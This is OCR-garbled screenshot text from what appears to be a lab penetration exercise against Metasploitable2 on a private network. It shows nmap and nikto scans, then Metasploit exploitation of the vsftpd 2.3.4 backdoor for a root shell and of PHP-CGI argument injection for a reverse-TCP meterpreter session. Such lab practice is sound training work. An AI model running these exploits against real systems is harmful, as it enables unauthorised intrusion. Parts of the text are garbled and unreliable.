192.168.65.2  00:50:56:f 4 1 60 VMware
192.168.65.254 00:50:56: f. 8 T 60 VMware

L—( adminz® KaliLinux)-[~]
Sllnmap -sn 192.168.56.0/24

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-27 20:55 ACST

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.5

Host is up (0.00067s latency).

MAC Address: 00:0C:29:FA:DD:2A (VMware)

Nmap scan report for 192.168.56.6

Host is up (0.00043s latency).

MAC Address: 00:0C:29:2A:AE:2B (VMware)

Nmap scan report for 192.168.56.7

Host is up (0.00040s latency).

MAC Address: 00:0C:29:63:0F:EE (VMware)

Nmap scan report for 192.168.56.8

Host is up (0.00050s latency).

MAC Address: 00:0C:29:0C:D5:0A (VMware)

Nmap scan report for 192.168.56.9

Host is up.

Nmap done: 256 IP addresses (5 hosts up) scanned in 2.13 seconds

(adminz® KaliLinux)-[~]
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L—( adminz® KaliLinux)-[~]

$ nmap -sV 192.168.56.5

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-27 20:59 ACST

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.5

Host is up (0.0024s latency).

Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE VERSION
21/tcp  open ftp vsftpd 2.3.4

22/tcp  open ssh OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)
23/tcp  open telnet tinux telnetd

25/tcp  open smtp Postfix smtpd

53/tcp  open domain ISC BIND 9.4.2

80/tcp  open -http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn-Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios=ssn Samba smbd 3.X < 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open shell Netkit rshd

1099/tcp open java-rmi GNU Classpath grmiregistry

1524/tcp open bindshell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntus

5432/tcp open postgresql PostgresqlL DB 8.3.0 -/8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc UnrealIRcd

8009/tcp open ajpl3 Apache Jserv (Protocol vi.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.25 seconds

L—$(adminz@ KaliLinux)-[~]
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No. Time Source Destination Protocol Length Info | B
2: 580240410 192.168.56 192.168.56.9 56 513 5792 Len=0 TSval=4294956555 1Secr=550695568 —
2367 16.680442986 192.168.56.9 192.168.56.5 TP 7447630 ~ 513 [SYN] Se0-0 Win-04240 Len=0 MSS1460 SACK_PERN 1Sval=550695570 T5c0r=0 WS=128 =]
2368 16.680644969 192.168.56.5 192.168.56.9 Tcp 74 513 . 47030 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK PERM TSval=4294956555 TSecr=550695570 WS=32
2369 16.680702221 192.168.56.9 192.168.56.5 TCP 66 47030 ~ 513 [ACK] Seq=1 Ack=1 Win=64256 Len=6 TSval=550695570 TSecr=4294956555 B
2376 16.680763301 192.168.56.9 192.168.56.5 Rlogin 110 pata: §\000\000(r§\035\023\000\000\000\000\000\0001\000\002\000\00166\000\001¢| \060\000\060\000\060\000\0B0\000\0B0\000\0B0\000\0 Eae
2371 16.680984312 192.168.56.5 192.168.56.9 TCP 66 513 [ACK] Seq= TSval=4294956555 TSecr=550695571

< . x 9695571
683591122 192.168 TP [SYN] Seq=0 Win=64240 Len=0 MS5=1460 SACK PERM 15val=5506955/3 ISecr=0 Ws=128 -
2374 16.683932320 192.168.56.5 192.168.56.9 Tcp 74 513 — [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK PERM TSval=4294956555 TSecr=550695573 WS=32 —
2375 16.683986334 192.168.56.9 192.168.56.5 TCP 66 47042 . 513 [ACK] Seq=1 Ac 4256 Len=0 TSval=550695574 TSecr=4294956555
2376 16.684146858 192.168.56.9 192.168.56.5 Rlogin 72 Data: HELPr\n -
2377 16.684345505  192.168.56.5 192.168.56.9 TCP 66 513 . 47042 [ACK]
2 650026634 192.165.5 52.166.56.9 56 513 47042 [RST, z -
68685582/ 192.168 TP [SYN] 368 SACK PER Tova 1o0000958 17 TS00r =0 WS=128 —

2380 16.687024643 192.168.56.5 192.168.56.9 Tcp 74 513 - 47046 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK PERM TSval=4294956555 TSecr=550695577 WS=32 —
2381 16.687080645 192.168.56.9 192.168.56.5 TCP 66 47046 . 513 [ACK] Seq=1 Ack=1 Win=64256 Len=6 TSval=550695577 TSecr=4294956555 B=
2382 16.687195634 192.168.56.9 192.168.56.5 Rlogin 154 pata: \026\003\000\000S\001\000\0000\003\00076HH, 4&" ~6\0006{ GDEWHHHE<=! oﬁ\ozon\ooo\ooo(\000\026\000\023\000\n\ooof\ooo\oo5\000\0=
2383 16.687424179 192.168.56.5 192.168.56.9 TCP 66 513 . 47046 [ACK] Seq=1 Ack=89 Win=5792 Len=0 TSval=4294956555 TSecr=550695577 —
2385 16.690338108 192.168.56.9 192.168.56.5 TP 74 47052 - 513 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK PERM TSval-550695580 TSecr=0 WS=128 =]
2386 16.690811598 192.168.56.5 192.168.56.9 Tcp 74 513 . 47052 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK PERM TSval=4294956556 TSecr=550695580 WS=32 =
2387 16.690880474 192.168.56.9 192.168.56.5 TCP 66 47052 . 513 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=550695581 TSecr=4294956556
2388 16.690958332 192.168.56.9 192.168.56.5 Rlogin 108 pata: \003\000\000*%H\00O\000\00O\0BO\00BCOOKie: mstshash=nmap\r\n\e81\006\b\006\663\000\000\000 -
2389 16.691314270 192.168.56.5 192.168.56.9 TCP 66 513 _. 47052 [ACK] Se: TSval=4294956556 TSecr=550695581

693720866

47062 — 513 [SYN] Seq=

2391 16.693902244 192.168.56.9 TCP
2392 16.694369796 192.168.56.5 192.168.56.9 TCP 74 513 . 47062 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=4294956556 TSecr=550695584 WS=32

2393 16.694433434 192.168.56.9 192.168.56.5 TCP 66 47062 — 513 [ACK] Seq=1 Ack=1 Win=64256 Len=® TSval=550695584 TSecr=4294956556

2394 16.694633406  192.168.56.9 192.168.56.5 Rlogin 176 Data: \026\003\000\000i\001\000\000e\003\003U\03466randomirandom2random3random4\e00\000\f\000/\000\n\000\023\0009\000\004\000H\0——!
2395 16.695014439  192.168.56.5 192.168.56.9 TCP 66 513 —. 47062 [ACK] Seq= 5792 Len=0 TSval=4294956556 TSecr=550695584

697375262 47062 6556 _TSecr=550695584

2397 16.697583682 192.168.56.

9 192.168.56.5 TCP 74 47072 ~ 513 [SYN] Seq=0 Wi MSS=1460 SACK_PERM TSval=550695587 TSecr=0 WS=128

2398 16.697999869 192.168.56.5 192.168.56.9 TCP 74 513 — 47072 [SYN, Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=4294956556 TSecr=550695587 WS=32

2399 16.698161584 192.168.56.5 192.168.56.9 TCP 66 513 — 37084 [ACK] Seq=1 Ack=16 Win=5792 Len=0 TSval=4294956557 TSecr=550695554

2400 16.698223790 192.168.56.9 192.168.56.5 TP 66 47072 — 513 [ACK] Ac TSval=550695588 TSecr=4294956556

2401 16.698346919 192.168.56.9 192.168.56.5 Rlogin 183 Start Handshake

2402 16.698797434 192.168.56.5 192.168.56.9 TP 66 513 — 47072 [ACK] TSval=4294956557 TSecr=550695588

2403 16.883293765 192.168.56.9 192.168.56.5 TP 66 33070 — 8180 [FIN, ACK] Se TSval=550695773 TSecr=4294956075

2404 16.883478885 192.168.56.9 192.168.56.5 TCcP 74 40888 — 8180 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK PERM TSval=550695773 TSecr=0 WS=128

2405 16.884019182 192.168.56.5 192.168.56.9 TCP 74 8180 — 40888 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK PERM TSval=4294956575 TSecr=550695773 WS=32

2406 16.884111812 192.168.56.9 192.168.56.5 TP 66 40888 — 8180 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=550695774 TSecr=4294956575

2407 16.884219874 192.168.56.9 192.168.56.5 HTTP 88 OPTIONS / HTTP/1.0

2408 16.884754982 192.168.56.5 192.168.56.9 TcP 66 8180 — 40888 [ACK] Seq=1 Ack=23 Win=5792 Len=0 TSval=4294956575 TSecr=550695774

2409 16.918336603 192.168.56.5 192.168.56.9 Tcp 66 8180 — 33070 [ACK] Seq=1 Ack=20 Win=5792 Len=0 TSval=4294956579 TSecr=550695773

2410 17.668449066 VMware_fa:dd:2a Broadcast ARP 60 Who has 192.168.56.1? Tell 192.168.56.5 =
» Frame 2384: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface ethe, id © ©0 0c 29 bo c1 3a 00 Oc 29 fa dd 2a 08 00 45 10 ) ) E <
» Ethernet II, Src: VMware fa:dd:2a (00:0c:29:fa:dd:2a), Dst: VMware be:cl:3a (00:0c:29:b0:c1:3a) 90 34 c7 03 40 00 40 06 82 51 cO ag 38 ©5 cO a8  -4--@-@ Q-8
» Internet Protocol Version 4, Src: 192.168.56.5, Dst: 192.168.56.9 38 09 02 01 b7 c6 3¢ 85 11 09 5a dc 9d €0 80 14 8 < -z
» Transmission Control Protocol, Src Port: 513, Dst Port: 47046, Seq: 1, Ack: 89, Len: © ©0 b5 9b 19 00 00 ©1 01 08 Oa ff ff d6 Oc 20 d2

7 wireshark_eth06DKBO3.pcapng Packets: 2410 - Dropped: 0 (0.0%) Profile: Default
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Time Source Destination Protocol _Length Info
2137 6.652561090  192.168.56.9 102.168.56.5 HTTP 84 GET / HTTP/1.0
2224 6.806322729  192.168.56.5 192.16 HTTP 66 HTTP/1.1 200 0K _(text/html

1 5
| 2407 16.884219874 192.168.56.9 . HTTP 88 OPTIONS / HTTP/1.0

» Frame 2311: 84 bytes on wire (672 bits), 84 bytes captured (672 bits) on interface ethe, id © =|[ @000
» Ethernet II, Src: VMware bo:ci:3a (00:0c:29:b0:c1:3a), Dst: VMware fa:dd:2a (00:0c:29:fa:dd:2a) 0010
» Internet Protocol Version 4, Src: 192.168.56.9, Dst: 192.168.56.5 0020
» Transmission Control Protocol, Src Port: 33070, Dst Port: 8180, Seq: 1, Ack: 1, Len: 18 0030
» Hypertext Transfer Protocol v

@ 7 Hypertext Transfer Protocol: Protocol

00 6c 29 fa dd 2a 00 Oc
00 46 8 84 40 00 40 06
38 05 81 2e 1f T4 ef 62
01 f6 1 97 00 00 01 O1

29 b0 c1 3a 08 00 45 00 )

50 ce co a8 38 09 co a8 [Fac(JH(@R [Peccl
39 £3 38 1e b6 8c 80 18 8 b9

08 0a 20 d2 df d5 ff ff

Packets: 2410 - Displayed: 4 (0.2%) - Dropped: 0 (0.0%)
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512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd

1099/tcp open java-rmi  GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntus

5432/tcp open postgresql PostgresqL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc unrealIrcd

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 00:@C:29:FA:DD:2A (VMware)
Service Info: Hosts: metasploitable.localdomain, ircMetasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.25 seconds

L—(adminz@ KaliLinux)-[~]

Slnmap -sV 192.168.56.8

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-27 21:13 ACST

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.8

Host is up (0.00027s latency).

Not shown: 993 closed tcp ports (reset)

PORT  STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu@.13 (Ubuntu Linux; protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

80/tcp open http Apache httpd 2.4.52 ((Ubuntu))

139/tcp open netbios-ssn Samba smbd &
445/tcp open netbios-ssn Samba smbd 4
MAC Address: 00:0C:29:0C:D5:0A (VMware)
Service Info: Host: Myubuntu.localdomain; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.83 seconds

(adminz® KaliLinux)-[~]
Lo
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Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-27 21:13 ACST

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.8

Host is up (0.00027s latency).

Not shown: 993 closed tcp ports (reset)

PORT  STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu@.13 (Ubuntu Linux; protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

80/tcp open http Apache httpd 2.4.52 ((Ubuntu))

139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
MAC Address: 00:0C:29:0C:D5:0A (VMware)
Service Info: Host: Myubuntu.localdomain; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.83 seconds

L—( adminz® KaliLinux)-[~]

Slnmap -sV 192.168.56.6

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-27 21:15 ACST

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.6

Host is up (0.00078s latency).

Not shown: 992 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION
53/tcp  open domain simple DNS Plus

80/tcp  open http Microsoft HTTPAPL httpd 2.@ (SSDP/UPNP)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

3260/tcp open iscsi?

3389/tcp open ms-wbt-server Microsoft Terminal Services

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
MAC Address: 00:0C:29:2A:AE:2B (VMware)

Service Info: 0S: Windows; CPE: cpe

icrosoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.32 seconds

(adminz® KaliLinux)-[~]
Lo

o

o
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—(adminz® KaliLinux)-[~]

L$ whatweb 192.168.56.5
http://192.168.56.5 [200 OK] Apache[2.2.8], Country[RESERVED][” ], HTTPServer[uiuntu i ][[EETYERP R MITITIONCINZEY], IP[192.168.56.5], PHP[5.2.4-2ubuntus.10], Title[M
etasploitable2 - Linux], WebDAV[2], X-Powered-By[PHP/5.2.4-2ubuntus.10]

—(adminz® KaliLinux)-[~]
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L—( adminz® KaliLinux)-[~]
$ nikto -h http://192.168.56.5/dvma
- Nikto v2.5.0

192.168.56.5

+ Target I
+ Target Hostname:  192.168.56.5
+ Target Port: 80

+ Start Time: 2026-04-27 21

+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ /dvma/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-Us/docs/Web/HTTP/Headers/X-Frame-Options

+ /dvma/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: htt
ps://www.netsparker. com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.

+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE .

ROARE 1o 3 17Vl L B R T S A ST BT { ¥ &l the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+

+

8100 requests: @ error(s) and 5 item(s) reported on remote host

End Tim 2026-04-27 2

9 (GMT9.5) (27 seconds)

+

(adminz® KaliLinux)-[~]
Lon

1 host(s) tested
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L—( adminz® KaliLinux)-[/usr/share/wordlists/metasploit]
$ nmap -sV -p 21,80 192.168.56.5
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-27 22:00 ACST

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.5

Host is up (0.00056s latency).

PORT _ STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
80/tcp open http  Apache httpd 2.2
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: 0S: Unix

((Ubuntu) DAV/2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.78 seconds

L—( adminz® KaliLinux)=[/usr/share/wordlists/metasploit]
$ 11
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BRERBARARBRERERBARARGRBRERERRARARBRARERRARARERERERRARARERERERRARBRERERERRBRBRERY
BRERBARARBRERERBARARBRERERERRARARERERBARARBRERERERRARBRERERERRARARERERERRBRBRERY
# WAVE 5 ###ni##tt SCORE 31337 HABARHRBARAAAAHRAGHABBARRERRABARE HIGH FFFFFFFF #
BRERBARARBRERERERRARBRERARBARARARERERERRARBREREREARBRAREHERERRARARERERERRBRBRERY

fittps://metasploit.com

=[ metasploit v6.4.64-dev
[ 2519 exploits - 1296 auxiliary - 431 post 1
=[ 1610 payloads - 49 encoders - 13. nops 1
+ -- --=[ 9 evasion 1
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search vsftpd 2.3.4
Matching Modules
# Name Disclosure Date Rank Check Description

Backdoor Command Execution

No payload configured, defaulting to cmd/unix/interact
exploit(unix/ftp/vsftpd_234_backdoor) >
exploit(unix/ftp/vsftpd_234_backdoor) > |
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CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Exploit target:

Id Name

0  Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/fia/vsftpd 234 backdoor) /> set RHOSTS 192.168.56.5
RHOSTS => 192.168.56.5
msf6 exploit(univ/fip/vsfipd 254 hackdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description

CHOST no The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:port[,type:host:port][...]
yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Exploit target:
Id  Name

0  Automatic

view the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
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View the full module info with the info, or info -d command.

msf6 exploit(unix/fip/vefipd 254 backdoor) > LIS

[*] 192.168.56.5:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.56.5:21 - USER: 331 Please specify the password.

[+] 192.168.56.5:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.5:21 - UID: uid=0(root) gid=0(root)

[+] Found shell.

[*] command shell session 1 opened (192.168.56.9:35489 -> 192.168.56.5:6200) at 2026-04-27 22:08:34 +0930
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file1
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[+] Found shell.

[*] command shell session 1 opened (192.168.56.9:35489 -> 192.168.56.5:6200) at 2026-04-27 22:08:34 +0930

1s

111

bin

boot

cdrom

dev

etc

file1
hacked
home
initrd
initrd.img
lib
lost+found
media

mnt

nohup. out
opt

proc

root

sbin

srv

sys

test
testingpurpose
tmp

usr

var
vmlinuz
yourcomputerhacked
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disable Disables the firewall

default ARG set default policy to ALLOW or DENY
logging ARG set logging to ON or OFF

allowideny RULE allow or deny RULE

delete allowideny RULE delete the allowsdeny RULE

status shou firewall status

version display version information

msfadmin@metasploitable:™$ sudo ufuw disable
Firewall stopped and disabled on system startup
msfadmin@netasploitable:™$
mnsfadmin@netasploitable:™$
msfadmin@metasploitable:"$
msfadmin@nmetasploitable:™$
msfadmin@netasploitable:™§ cd ~
msfadmin@netasploitable:/§
msfadmin@netasploitable:/§
msfadmin@metasploitable:/$ 1s

111 etc initrd.img nohup.out srv tmp

bin filel lib opt sys usr

boot hacked lost+found proc test var

cdrom home media root Test unlinuz

dev initrd mnt sbin testingpurpose yourcomputerhacked

msfadmin@netasploitable:/$
mnsfadmin@metasploitable:/$§ _
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msf6 >

msf6 > search http_version

Matching Modules

# Name Disclosure Date Rank Check Description

0 auxiliary/scanner/http/fiEEpIvension - normal No HTTP Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/http_version

sf6 > use 0
sf6 auxiliaryfs€anner/http/http_versiem)—>
6 auxiliary(scanner/hitp/heti_version) > show options

2
%

2
%

Module options (auxiliary/scanner/http/http_version):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)

SsL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/http_version) >

HmpoQ &
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0 auxiliary/scanner/http/fiEEpIvension - normal No HTTP Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/http_version

msf6 > use 0
msf6 auxiliary(scanner/http/http_version) >
msf6 auxiliary(scanner/http/hitp version) > show options

Module options (auxiliary/scanner/http/http_version):

Name Current Setting Required —Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)

SsL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/http version) > set RHOSTS 192.168:56.5
HOSTS => 192.168.56.5
msf6 auxiliary(scanner/http/hitp version) > show options

Module options (auxiliary/scanner/http/http_version):

Name Current Setting Required —Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS 192 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

VHOST no HTTP server virtual host

view the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/http_version) > ||

FmPO»® B
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Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/http_version

sf6 > use 0
sf6 auxiliary(scanner/http/http_version) >
56 auxiliary(scanner/http/hitp version) > show options

2

2

2

Module options (auxiliary/scanner/http/http_version):

Name Current Setting Required Description
Proxies no A proxy chain of format type:host:port[,type:host:port][.
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SsL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host

View the full module info with the info, or/info -d command,

msf6 auxiliary(scanner/http/http version) > set RHOSTS 192.168.56.5

HOSTS => 192.168.56.5

msf6 auxiliary(scanner/http/http version) > show options

Module options (auxiliary/scanner/http/http_version):
Name Current Setting Required Description
Proxies no A proxy/ ¢hain of format type:host:port[,type:host:port][...
RHOSTS ~ 192.168.56.5 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SsL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/http_version) > exploit

[+] 192.168.56.5:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by [
[#] Scanned 1 of 1 hosts (100% complete)
[#] Auxiliary module execution completed
msf6 auxiliary(scanner/http/http_version) > ||

2ubuntus

‘ImEO@ B
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#y OffSec ™3 KaliLinux # Kali Tools E8 Kali Docs ¥ Kali Forums (¥ Kali NetHunter s Exploit-DB % Google Hacking DB

PHP Version 5.2.4-2ubuntus.10 W

support

system Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
isgs

Build Date [1an 6 2010 21:50:12

server AL cGFastcal

Virtual Directory disabled

[configuration File

php.ini) Path
Loaded Configuration
File

etc/phps/cgi/php.ini

etc/phps/cgi/cont.d

etc/phps/cgi/cont d/gd.ini, fetc/phps/cgilconf.d/mysal.ni, etc/phps/cgil

cont.d/mysdlini, etc/phpS/cgilcont.d/pdo.ini, fetc/phpS/cgifcont.d/
pdo_mysqlini

PHP APL 20041225

PHP Extension 20060613

Zend Extension 220060519

Debug Build no

Thread safety disabled

Zend Memory Manager [enabled

1Pv6 support enabled

Registered PHP Streams

zip, php. file, data, http, ftp, compress bzip2, compress zib, https, ftps

Registered Stream
socket Transports

tcp, udp, unix, udg, ssl, ssiv3, sshv2, tis

Registered Stream
Filters

string.rot13, string.toupper string tolower, string.strip_tags, convert.¥,
consumed, convert.iconv., bzip2.%, zlib.*

This server s protected with the Suhosin Patch 0.9.6.2 25 Al
Copyright (c) 2006 Hardened-PHP Project T2l
This program makes use of the Zend Scripting Language Engine: Powered By

zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies

DUHD Cradite

®u% @s%

100k Yooks O
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Name Current Setting Required Description
Proxies no A proxy chain of format type:host:port[,type:host:port][.
RHOSTS ~ 192.168.56.5 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SsL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

msf6 auxiliary(scapner/niip/hitpuersian) > exploit

[+] 192.168-56.5:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/5.2.4-2ubuntu5.10 )
[*] Scanned 1 of 1 hosts (100% complete)

[#] Auxiliary module execution completed

msf6 auxiliary(sesfher/http/http_versigh)-S back

msf6 >

6 >

6 >

f6 > search php_cgi

2
@
o

2
@
o

2
@
o

Matching Modules

#  Name Disclosure Date Rank Check Description

exploit/multi/http/; excellent
exploit/windows/http/| cve 2024_4577 excellent Yes  PHP CGI Argument Injection Remote Code Execution
\_ target: Windows PHP o o o
\_ target: Windows Command o o o

wn g

Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577
After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command'

>

>

> use 0

No payload configured, defaulting to php/meterpreter/reverse_tcp
exploit(multi/http/php_cgi_arg_injection) >
exploit(multi/http/php_cgi_arg_injection) > |
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New Folder o adminz@KaliLinux: fusr/share/wordlists/metasploit Q i (<]

adminz@KaliLinux: fusr/share/wordlists/metasploit x adminz@KaliLinux: /usr/share/metasploit-framework/data/wordlists -

Exploit target:

Id Name

0  Automatic

View the full module info with the info, or info -d command.

msf6 exploit(multi/hitp/php coi avainiiition) >.set RHOSTS 192.168.56.5

HOSTS => 192.168.56.5

56 exploit(multi/fetp/php_cgi_arg injettion)-> set/LHOST 192.168.56.9

LHOST => 192.168.56.9

nsfs exploit(multi/http/php_cgi_arg_ihjection) >
[#] Started reverse TCP handler on 192.168.56.9:4444

[#] sending stage (40004 bytes) to 192.168.56.5

[*] Meterpreter session 2 opened (192.168.56.9:4444 -> 192.168.56.5:53865) at 2026-04-27 22:22:56 +0930

E =

meterpreter >
meterpreter >
meterpreter >
meterpreter > ls
Listing: /var/www

Mode size Type Last modified Name

040755/rwxr-xr-x 17592186048512 dir  241871282937-02-17 10:09:48 +1030 Hacked
041777 /rwxrwxrwx 17592186048512 dir  240343123300-02-02 11:20:05 +1030 dav
040755/rwxr-xr-x 17592186048512 dir  182042482449-05-13 00:47:21 +0930 dvwa
100644/rw-r--r-- 3826815861627 fil  182042311505-02-18 09:43:29 +1030 index.php
040755/rwxr-xr-x 17592186048512 dir  181964996940-06-01 04:08:18 +0930 mutillidae
040755/rwxr-xr-x 17592186048512 dir  181964937872-02-09 04:33:20 +1030 phpMyAdmin
100644/rw-r--r-- 81604378643 fil  173039983614-08-05 15:38:28 +0930 phpinfo.php
